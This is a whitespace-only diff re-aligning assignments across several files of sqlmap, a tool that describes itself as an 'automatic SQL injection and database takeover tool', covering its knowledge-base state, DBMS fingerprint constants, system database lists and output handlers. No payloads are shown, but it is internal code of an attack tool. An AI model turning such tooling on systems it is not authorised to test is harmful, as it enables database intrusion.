|
|
||||||
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
||||||
kb.dep = None
|
kb.dep = None
|
||||||
kb.docRoot = None
|
kb.docRoot = None
|
||||||
kb.dynamicMarkings = []
|
kb.dynamicMarkings = []
|
||||||
kb.endDetection = False
|
kb.endDetection = False
|
||||||
kb.httpErrorCodes = {}
|
kb.httpErrorCodes = {}
|
||||||
kb.errorIsNone = True
|
kb.errorIsNone = True
|
||||||
kb.formNames = []
|
kb.formNames = []
|
||||||
kb.headersCount = 0
|
kb.headersCount = 0
|
||||||
kb.headersFp = {}
|
kb.headersFp = {}
|
||||||
kb.hintValue = None
|
kb.hintValue = None
|
||||||
kb.htmlFp = []
|
kb.htmlFp = []
|
||||||
kb.injection = injectionDict()
|
kb.injection = injectionDict()
|
||||||
kb.injections = []
|
kb.injections = []
|
||||||
|
|
||||||
kb.locks = advancedDict()
|
kb.locks = advancedDict()
|
||||||
kb.locks.cacheLock = threading.Lock()
|
kb.locks.cacheLock = threading.Lock()
|
||||||
kb.locks.logLock = threading.Lock()
|
kb.locks.logLock = threading.Lock()
|
||||||
|
|
||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
kb.nullConnection = None
|
kb.nullConnection = None
|
||||||
kb.pageTemplate = None
|
kb.pageTemplate = None
|
||||||
kb.pageTemplates = dict()
|
kb.pageTemplates = dict()
|
||||||
kb.originalPage = None
|
kb.originalPage = None
|
||||||
|
|
||||||
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
||||||
# parsing
|
# parsing
|
||||||
kb.os = None
|
kb.os = None
|
||||||
kb.osVersion = None
|
kb.osVersion = None
|
||||||
kb.osSP = None
|
kb.osSP = None
|
||||||
|
|
||||||
kb.pageEncoding = DEFAULT_PAGE_ENCODING
|
kb.pageEncoding = DEFAULT_PAGE_ENCODING
|
||||||
kb.pageStable = None
|
kb.pageStable = None
|
||||||
kb.partRun = None
|
kb.partRun = None
|
||||||
kb.proxyAuthHeader = None
|
kb.proxyAuthHeader = None
|
||||||
kb.queryCounter = 0
|
kb.queryCounter = 0
|
||||||
kb.redirectSetCookie = None
|
kb.redirectSetCookie = None
|
||||||
kb.responseTimes = []
|
kb.responseTimes = []
|
||||||
kb.resumedQueries = {}
|
kb.resumedQueries = {}
|
||||||
kb.retriesCount = 0
|
kb.retriesCount = 0
|
||||||
kb.singleLogFlags = set()
|
kb.singleLogFlags = set()
|
||||||
kb.skipOthersDbms = None
|
kb.skipOthersDbms = None
|
||||||
kb.suppressSession = False
|
kb.suppressSession = False
|
||||||
kb.suppressResumeInfo = False
|
kb.suppressResumeInfo = False
|
||||||
kb.technique = None
|
kb.technique = None
|
||||||
kb.testMode = False
|
kb.testMode = False
|
||||||
kb.testQueryCount = 0
|
kb.testQueryCount = 0
|
||||||
kb.threadContinue = True
|
kb.threadContinue = True
|
||||||
kb.threadException = False
|
kb.threadException = False
|
||||||
kb.threadData = {}
|
kb.threadData = {}
|
||||||
kb.xpCmdshellAvailable = False
|
kb.xpCmdshellAvailable = False
|
||||||
|
|
||||||
kb.misc = advancedDict()
|
kb.misc = advancedDict()
|
||||||
kb.misc.delimiter = randomStr(length=6, lowercase=True)
|
kb.misc.delimiter = randomStr(length=6, lowercase=True)
|
||||||
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
|
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
|
||||||
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
|
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
|
||||||
kb.misc.space = ":%s:" % randomStr(length=1, lowercase=True)
|
kb.misc.space = ":%s:" % randomStr(length=1, lowercase=True)
|
||||||
kb.misc.dollar = ":%s:" % randomStr(length=1, lowercase=True)
|
kb.misc.dollar = ":%s:" % randomStr(length=1, lowercase=True)
|
||||||
kb.misc.forcedDbms = None
|
kb.misc.forcedDbms = None
|
||||||
|
|
||||||
if flushAll:
|
if flushAll:
|
||||||
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
||||||
kb.tamperFunctions = []
|
kb.tamperFunctions = []
|
||||||
kb.targetUrls = set()
|
kb.targetUrls = set()
|
||||||
kb.testedParams = set()
|
kb.testedParams = set()
|
||||||
kb.userAgents = None
|
kb.userAgents = None
|
||||||
kb.wordlist = None
|
kb.wordlist = None
|
||||||
|
|
||||||
def __useWizardInterface():
|
def __useWizardInterface():
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -49,7 +49,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||||
if os.path.exists(imageOutputFile):
|
if os.path.exists(imageOutputFile):
|
||||||
os.remove(imageOutputFile)
|
os.remove(imageOutputFile)
|
||||||
|
|
||||||
infoMsg = "profiling the execution into file %s" % profileOutputFile
|
infoMsg = "profiling the execution into file %s" % profileOutputFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# Start sqlmap main function and generate a raw profile file
|
# Start sqlmap main function and generate a raw profile file
|
||||||
|
|
|
@ -107,8 +107,8 @@ class Replication:
|
||||||
self.connection.close()
|
self.connection.close()
|
||||||
|
|
||||||
# sqlite data types
|
# sqlite data types
|
||||||
NULL = DataType('NULL')
|
NULL = DataType('NULL')
|
||||||
INTEGER = DataType('INTEGER')
|
INTEGER = DataType('INTEGER')
|
||||||
REAL = DataType('REAL')
|
REAL = DataType('REAL')
|
||||||
TEXT = DataType('TEXT')
|
TEXT = DataType('TEXT')
|
||||||
BLOB = DataType('BLOB')
|
BLOB = DataType('BLOB')
|
||||||
|
|
|
@ -113,7 +113,7 @@ def setOs():
|
||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
infoMsg = ""
|
infoMsg = ""
|
||||||
condition = (
|
condition = (
|
||||||
not kb.resumedQueries
|
not kb.resumedQueries
|
||||||
or ( kb.resumedQueries.has_key(conf.url) and
|
or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
|
@ -191,8 +191,8 @@ def resumeConfKb(expression, url, value):
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
elif expression == "DBMS" and url == conf.url:
|
elif expression == "DBMS" and url == conf.url:
|
||||||
dbms = unSafeFormatString(value[:-1])
|
dbms = unSafeFormatString(value[:-1])
|
||||||
dbms = dbms.lower()
|
dbms = dbms.lower()
|
||||||
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||||
|
|
||||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||||
|
@ -203,11 +203,11 @@ def resumeConfKb(expression, url, value):
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
dbms = dbmsRegExp.group(1)
|
dbms = dbmsRegExp.group(1)
|
||||||
dbmsVersion = [ dbmsRegExp.group(2) ]
|
dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||||
|
|
||||||
if conf.dbms and conf.dbms.lower() != dbms:
|
if conf.dbms and conf.dbms.lower() != dbms:
|
||||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||||
message += "but from a past scan information on the target URL "
|
message += "but from a past scan information on the target URL "
|
||||||
message += "sqlmap assumes the back-end DBMS is %s. " % dbms
|
message += "sqlmap assumes the back-end DBMS is %s. " % dbms
|
||||||
message += "Do you really want to force the back-end "
|
message += "Do you really want to force the back-end "
|
||||||
|
@ -230,7 +230,7 @@ def resumeConfKb(expression, url, value):
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
if conf.os and conf.os.lower() != os.lower():
|
if conf.os and conf.os.lower() != os.lower():
|
||||||
message = "you provided '%s' as back-end DBMS operating " % conf.os
|
message = "you provided '%s' as back-end DBMS operating " % conf.os
|
||||||
message += "system, but from a past scan information on the "
|
message += "system, but from a past scan information on the "
|
||||||
message += "target URL sqlmap assumes the back-end DBMS "
|
message += "target URL sqlmap assumes the back-end DBMS "
|
||||||
message += "operating system is %s. " % os
|
message += "operating system is %s. " % os
|
||||||
|
|
|
@ -17,16 +17,16 @@ from lib.core.enums import PLACE
|
||||||
from lib.core.revision import getRevisionNumber
|
from lib.core.revision import getRevisionNumber
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "1.0-dev"
|
VERSION = "1.0-dev"
|
||||||
REVISION = getRevisionNumber()
|
REVISION = getRevisionNumber()
|
||||||
VERSION_STRING = "sqlmap/%s (r%s)" % (VERSION, REVISION)
|
VERSION_STRING = "sqlmap/%s (r%s)" % (VERSION, REVISION)
|
||||||
DESCRIPTION = "automatic SQL injection and database takeover tool"
|
DESCRIPTION = "automatic SQL injection and database takeover tool"
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
ML = "sqlmap-users@lists.sourceforge.net"
|
ML = "sqlmap-users@lists.sourceforge.net"
|
||||||
|
|
||||||
# minimum distance of ratio from kb.matchRatio to result in True
|
# minimum distance of ratio from kb.matchRatio to result in True
|
||||||
DIFF_TOLERANCE = 0.05
|
DIFF_TOLERANCE = 0.05
|
||||||
CONSTANT_RATIO = 0.9
|
CONSTANT_RATIO = 0.9
|
||||||
|
|
||||||
# lower and upper values for match ratio in case of stable page
|
# lower and upper values for match ratio in case of stable page
|
||||||
LOWER_RATIO_BOUND = 0.02
|
LOWER_RATIO_BOUND = 0.02
|
||||||
|
@ -37,9 +37,9 @@ logging.addLevelName(9, "PAYLOAD")
|
||||||
logging.addLevelName(8, "TRAFFIC OUT")
|
logging.addLevelName(8, "TRAFFIC OUT")
|
||||||
logging.addLevelName(7, "TRAFFIC IN")
|
logging.addLevelName(7, "TRAFFIC IN")
|
||||||
|
|
||||||
LOGGER = logging.getLogger("sqlmapLog")
|
LOGGER = logging.getLogger("sqlmapLog")
|
||||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||||
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
||||||
|
|
||||||
LOGGER_HANDLER.setFormatter(FORMATTER)
|
LOGGER_HANDLER.setFormatter(FORMATTER)
|
||||||
LOGGER.addHandler(LOGGER_HANDLER)
|
LOGGER.addHandler(LOGGER_HANDLER)
|
||||||
|
@ -47,21 +47,21 @@ LOGGER.setLevel(logging.WARN)
|
||||||
|
|
||||||
# dump markers
|
# dump markers
|
||||||
DUMP_NEWLINE_MARKER = "__NEWLINE__"
|
DUMP_NEWLINE_MARKER = "__NEWLINE__"
|
||||||
DUMP_CR_MARKER = "__CARRIAGE_RETURN__"
|
DUMP_CR_MARKER = "__CARRIAGE_RETURN__"
|
||||||
DUMP_DEL_MARKER = "__DEL__"
|
DUMP_DEL_MARKER = "__DEL__"
|
||||||
DUMP_TAB_MARKER = "__TAB__"
|
DUMP_TAB_MARKER = "__TAB__"
|
||||||
DUMP_START_MARKER = "__START__"
|
DUMP_START_MARKER = "__START__"
|
||||||
DUMP_STOP_MARKER = "__STOP__"
|
DUMP_STOP_MARKER = "__STOP__"
|
||||||
|
|
||||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||||
|
|
||||||
PAYLOAD_DELIMITER = "\x00"
|
PAYLOAD_DELIMITER = "\x00"
|
||||||
CHAR_INFERENCE_MARK = "%c"
|
CHAR_INFERENCE_MARK = "%c"
|
||||||
PRINTABLE_CHAR_REGEX = r'[^\x00-\x1f\x7e-\xff]'
|
PRINTABLE_CHAR_REGEX = r'[^\x00-\x1f\x7e-\xff]'
|
||||||
|
|
||||||
# dumping characters used in GROUP_CONCAT MySQL technique
|
# dumping characters used in GROUP_CONCAT MySQL technique
|
||||||
CONCAT_ROW_DELIMITER = ','
|
CONCAT_ROW_DELIMITER = ','
|
||||||
CONCAT_VALUE_DELIMITER = '|'
|
CONCAT_VALUE_DELIMITER = '|'
|
||||||
|
|
||||||
# coefficient used for a time-based query delay checking (must be >= 7)
|
# coefficient used for a time-based query delay checking (must be >= 7)
|
||||||
TIME_STDEV_COEFF = 10
|
TIME_STDEV_COEFF = 10
|
||||||
|
@ -124,20 +124,20 @@ DUMMY_USER_PREFIX = "__dummy__"
|
||||||
DEFAULT_PAGE_ENCODING = "iso-8859-1"
|
DEFAULT_PAGE_ENCODING = "iso-8859-1"
|
||||||
|
|
||||||
# System variables
|
# System variables
|
||||||
IS_WIN = subprocess.mswindows
|
IS_WIN = subprocess.mswindows
|
||||||
# The name of the operating system dependent module imported. The following
|
# The name of the operating system dependent module imported. The following
|
||||||
# names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce',
|
# names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce',
|
||||||
# 'java', 'riscos'
|
# 'java', 'riscos'
|
||||||
PLATFORM = os.name
|
PLATFORM = os.name
|
||||||
PYVERSION = sys.version.split()[0]
|
PYVERSION = sys.version.split()[0]
|
||||||
|
|
||||||
# Database management system specific variables
|
# Database management system specific variables
|
||||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" )
|
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" )
|
||||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||||
SQLITE_SYSTEM_DBS = ( "sqlite_master", "sqlite_temp_master" )
|
SQLITE_SYSTEM_DBS = ( "sqlite_master", "sqlite_temp_master" )
|
||||||
ACCESS_SYSTEM_DBS = ( "MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\
|
ACCESS_SYSTEM_DBS = ( "MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\
|
||||||
"MSysAccessXML", "MSysModules", "MSysModules2" )
|
"MSysAccessXML", "MSysModules", "MSysModules2" )
|
||||||
FIREBIRD_SYSTEM_DBS = ( "RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\
|
FIREBIRD_SYSTEM_DBS = ( "RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\
|
||||||
"RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\
|
"RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\
|
||||||
|
@ -145,21 +145,21 @@ FIREBIRD_SYSTEM_DBS = ( "RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_C
|
||||||
"RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\
|
"RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\
|
||||||
"RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\
|
"RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\
|
||||||
"RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS" )
|
"RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS" )
|
||||||
MAXDB_SYSTEM_DBS = ( "SYSINFO", "DOMAIN" )
|
MAXDB_SYSTEM_DBS = ( "SYSINFO", "DOMAIN" )
|
||||||
SYBASE_SYSTEM_DBS = ( "master", "model", "sybsystemdb", "sybsystemprocs" )
|
SYBASE_SYSTEM_DBS = ( "master", "model", "sybsystemdb", "sybsystemprocs" )
|
||||||
|
|
||||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||||
SQLITE_ALIASES = [ "sqlite", "sqlite3" ]
|
SQLITE_ALIASES = [ "sqlite", "sqlite3" ]
|
||||||
ACCESS_ALIASES = [ "access", "jet", "microsoft access", "msaccess" ]
|
ACCESS_ALIASES = [ "access", "jet", "microsoft access", "msaccess" ]
|
||||||
FIREBIRD_ALIASES = [ "firebird", "mozilla firebird", "interbase", "ibase", "fb" ]
|
FIREBIRD_ALIASES = [ "firebird", "mozilla firebird", "interbase", "ibase", "fb" ]
|
||||||
MAXDB_ALIASES = [ "maxdb", "sap maxdb", "sap db" ]
|
MAXDB_ALIASES = [ "maxdb", "sap maxdb", "sap db" ]
|
||||||
SYBASE_ALIASES = [ "sybase", "sybase sql server" ]
|
SYBASE_ALIASES = [ "sybase", "sybase sql server" ]
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES
|
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES
|
||||||
SUPPORTED_OS = ( "linux", "windows" )
|
SUPPORTED_OS = ( "linux", "windows" )
|
||||||
|
|
||||||
DBMS_DICT = { DBMS.MSSQL: [MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"],
|
DBMS_DICT = { DBMS.MSSQL: [MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"],
|
||||||
DBMS.MYSQL: [MYSQL_ALIASES, "python-mysqldb", "http://mysql-python.sourceforge.net/"],
|
DBMS.MYSQL: [MYSQL_ALIASES, "python-mysqldb", "http://mysql-python.sourceforge.net/"],
|
||||||
|
@ -172,17 +172,17 @@ DBMS_DICT = { DBMS.MSSQL: [MSSQL_ALIASES, "python-pymssql", "http://pymssql.sour
|
||||||
DBMS.SYBASE: [SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"]
|
DBMS.SYBASE: [SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"]
|
||||||
}
|
}
|
||||||
|
|
||||||
REFERER_ALIASES = ( "ref", "referer", "referrer" )
|
REFERER_ALIASES = ( "ref", "referer", "referrer" )
|
||||||
USER_AGENT_ALIASES = ( "ua", "useragent", "user-agent" )
|
USER_AGENT_ALIASES = ( "ua", "useragent", "user-agent" )
|
||||||
|
|
||||||
FROM_TABLE = {
|
FROM_TABLE = {
|
||||||
DBMS.ORACLE: " FROM DUAL",
|
DBMS.ORACLE: " FROM DUAL",
|
||||||
DBMS.ACCESS: " FROM MSysObjects",
|
DBMS.ACCESS: " FROM MSysObjects",
|
||||||
DBMS.FIREBIRD: " FROM RDB$DATABASE",
|
DBMS.FIREBIRD: " FROM RDB$DATABASE",
|
||||||
DBMS.MAXDB: " FROM VERSIONS"
|
DBMS.MAXDB: " FROM VERSIONS"
|
||||||
}
|
}
|
||||||
|
|
||||||
SQL_STATEMENTS = {
|
SQL_STATEMENTS = {
|
||||||
"SQL SELECT statement": (
|
"SQL SELECT statement": (
|
||||||
"select ",
|
"select ",
|
||||||
"show ",
|
"show ",
|
||||||
|
@ -236,10 +236,10 @@ ERROR_PARSING_REGEXES = (
|
||||||
)
|
)
|
||||||
|
|
||||||
# Regular expression used for parsing charset info from meta html headers
|
# Regular expression used for parsing charset info from meta html headers
|
||||||
META_CHARSET_REGEX = r'<meta http-equiv="?content-type"?[^>]+charset=(?P<result>[^">]+)'
|
META_CHARSET_REGEX = r'<meta http-equiv="?content-type"?[^>]+charset=(?P<result>[^">]+)'
|
||||||
|
|
||||||
# Regular expression used for parsing refresh info from meta html headers
|
# Regular expression used for parsing refresh info from meta html headers
|
||||||
META_REFRESH_REGEX = r'<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=(?P<result>[^">]+)'
|
META_REFRESH_REGEX = r'<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=(?P<result>[^">]+)'
|
||||||
|
|
||||||
# Regular expression used for parsing empty fields in tested form data
|
# Regular expression used for parsing empty fields in tested form data
|
||||||
EMPTY_FORM_FIELDS_REGEX = r'(?P<result>[^=]+=(&|\Z))'
|
EMPTY_FORM_FIELDS_REGEX = r'(?P<result>[^=]+=(&|\Z))'
|
||||||
|
|
|
@ -51,7 +51,7 @@ def blockingWriteToFD(fd, data):
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
data_length = len(data)
|
data_length = len(data)
|
||||||
wrote_data = os.write(fd, data)
|
wrote_data = os.write(fd, data)
|
||||||
except (OSError, IOError), io:
|
except (OSError, IOError), io:
|
||||||
if io.errno in (errno.EAGAIN, errno.EINTR):
|
if io.errno in (errno.EAGAIN, errno.EINTR):
|
||||||
continue
|
continue
|
||||||
|
|
|
@ -140,12 +140,12 @@ def __setRequestParams():
|
||||||
__testableParameters = True
|
__testableParameters = True
|
||||||
|
|
||||||
if not conf.parameters:
|
if not conf.parameters:
|
||||||
errMsg = "you did not provide any GET, POST and Cookie "
|
errMsg = "you did not provide any GET, POST and Cookie "
|
||||||
errMsg += "parameter, neither an User-Agent or Referer header"
|
errMsg += "parameter, neither an User-Agent or Referer header"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
elif not __testableParameters:
|
elif not __testableParameters:
|
||||||
errMsg = "all testable parameters you provided are not present "
|
errMsg = "all testable parameters you provided are not present "
|
||||||
errMsg += "within the GET, POST and Cookie parameters"
|
errMsg += "within the GET, POST and Cookie parameters"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
@ -308,9 +308,9 @@ def initTargetEnv():
|
||||||
if conf.cj:
|
if conf.cj:
|
||||||
conf.cj.clear()
|
conf.cj.clear()
|
||||||
|
|
||||||
conf.paramDict = {}
|
conf.paramDict = {}
|
||||||
conf.parameters = {}
|
conf.parameters = {}
|
||||||
conf.sessionFile = None
|
conf.sessionFile = None
|
||||||
|
|
||||||
__setKnowledgeBaseAttributes(False)
|
__setKnowledgeBaseAttributes(False)
|
||||||
__restoreCmdLineOptions()
|
__restoreCmdLineOptions()
|
||||||
|
|
|
@ -164,8 +164,8 @@ def liveTest():
|
||||||
|
|
||||||
def initCase(switches=None):
|
def initCase(switches=None):
|
||||||
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp()
|
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp()
|
||||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
cmdLineOptions = cmdLineParser()
|
cmdLineOptions = cmdLineParser()
|
||||||
cmdLineOptions.liveTest = cmdLineOptions.smokeTest = False
|
cmdLineOptions.liveTest = cmdLineOptions.smokeTest = False
|
||||||
|
|
||||||
|
@ -181,8 +181,8 @@ def initCase(switches=None):
|
||||||
def cleanCase():
|
def cleanCase():
|
||||||
shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
|
shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
|
||||||
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
|
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
|
||||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
conf.verbose = 1
|
conf.verbose = 1
|
||||||
__setVerbosity()
|
__setVerbosity()
|
||||||
|
|
||||||
|
|
|
@ -18,14 +18,14 @@ class ThreadData():
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.disableStdOut = False
|
self.disableStdOut = False
|
||||||
self.lastErrorPage = None
|
self.lastErrorPage = None
|
||||||
self.lastHTTPError = None
|
self.lastHTTPError = None
|
||||||
self.lastRedirectMsg = None
|
self.lastRedirectMsg = None
|
||||||
self.lastQueryDuration = 0
|
self.lastQueryDuration = 0
|
||||||
self.lastRequestUID = 0
|
self.lastRequestUID = 0
|
||||||
self.seqMatcher = difflib.SequenceMatcher(None)
|
self.seqMatcher = difflib.SequenceMatcher(None)
|
||||||
self.valueStack = []
|
self.valueStack = []
|
||||||
|
|
||||||
def getCurrentThreadUID():
|
def getCurrentThreadUID():
|
||||||
return hash(threading.currentThread())
|
return hash(threading.currentThread())
|
||||||
|
|
|
@ -73,7 +73,7 @@ XMLNS_ATTR = "xmlns:xsi"
|
||||||
SCHEME_NAME = "sqlmap.xsd"
|
SCHEME_NAME = "sqlmap.xsd"
|
||||||
SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation"
|
SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation"
|
||||||
CHARACTERS_TO_ENCODE = range(32) + range(127, 256)
|
CHARACTERS_TO_ENCODE = range(32) + range(127, 256)
|
||||||
ENTITIES = {'"':'"',"'":"'"}
|
ENTITIES = {'"':'"',"'":"'"}
|
||||||
|
|
||||||
class XMLDump:
|
class XMLDump:
|
||||||
'''
|
'''
|
||||||
|
@ -83,7 +83,7 @@ class XMLDump:
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__outputFile = None
|
self.__outputFile = None
|
||||||
self.__outputFP = None
|
self.__outputFP = None
|
||||||
self.__root = None
|
self.__root = None
|
||||||
self.__doc = Document()
|
self.__doc = Document()
|
||||||
|
|
||||||
|
@ -384,7 +384,7 @@ class XMLDump:
|
||||||
db = "All"
|
db = "All"
|
||||||
table = tableValues["__infos__"]["table"]
|
table = tableValues["__infos__"]["table"]
|
||||||
|
|
||||||
count = int(tableValues["__infos__"]["count"])
|
count = int(tableValues["__infos__"]["count"])
|
||||||
columns = tableValues.keys()
|
columns = tableValues.keys()
|
||||||
columns.sort(key=lambda x: x.lower())
|
columns.sort(key=lambda x: x.lower())
|
||||||
|
|
||||||
|
|
|
@ -30,14 +30,14 @@ class MSSQLBannerHandler(ContentHandler):
|
||||||
def __init__(self, banner, info):
|
def __init__(self, banner, info):
|
||||||
ContentHandler.__init__(self)
|
ContentHandler.__init__(self)
|
||||||
|
|
||||||
self.__banner = sanitizeStr(banner)
|
self.__banner = sanitizeStr(banner)
|
||||||
self.__inVersion = False
|
self.__inVersion = False
|
||||||
self.__inServicePack = False
|
self.__inServicePack = False
|
||||||
self.__release = None
|
self.__release = None
|
||||||
self.__version = ""
|
self.__version = ""
|
||||||
self.__versionAlt = None
|
self.__versionAlt = None
|
||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
self.__info = info
|
self.__info = info
|
||||||
|
|
||||||
def __feedInfo(self, key, value):
|
